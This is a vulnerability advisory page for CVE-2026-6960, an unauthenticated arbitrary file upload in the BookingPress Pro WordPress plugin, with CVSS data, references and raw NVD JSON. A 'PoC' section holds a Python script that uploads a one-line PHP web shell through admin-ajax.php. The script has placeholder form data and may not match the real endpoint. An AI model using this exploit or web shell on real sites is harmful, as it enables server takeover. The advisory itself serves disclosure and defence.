CVE-2026-6960

Description

The BookingPress Pro plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'bookingpress_validate_submitted_booking_form_func' function in all versions up to, and including, 5.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability can only be exploited if a signature custom field is added to the booking form.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

BookingPress Pro <= 5.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Target endpoint typically processes booking form submissions
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload data mimicking a booking submission with a malicious file
    data = {
        "action": "bookingpress_submit_booking_form",
        "bookingpress_form_data": "..." # JSON encoded form data
    }
    
    # Malicious file upload (e.g., PHP shell)
    files = {
        "signature_custom_field": (
            "exploit.php", 
            "<?php system($_GET['cmd']); ?>", 
            "application/octet-stream"
        )
    }
    
    try:
        response = requests.post(url, data=data, files=files)
        if response.status_code == 200:
            print("[+] Payload sent successfully. Check the upload path.")
        else:
            print(f"[-] Failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage
# exploit("http://target-site.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6960/
[4] VulDB https://vuldb.com/cve/CVE-2026-6960
[5] https://www.bookingpressplugin.com/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/ed738dc5-7848-4b04-a3fd-317cc366acfa?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6960", "sourceIdentifier": "[email protected]", "published": "2026-05-21T22:16:48.643", "lastModified": "2026-05-21T22:16:48.643", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BookingPress Pro plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'bookingpress_validate_submitted_booking_form_func' function in all versions up to, and including, 5.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability can only be exploited if a signature custom field is added to the booking form."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://www.bookingpressplugin.com/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ed738dc5-7848-4b04-a3fd-317cc366acfa?source=cve", "source": "[email protected]"}]}}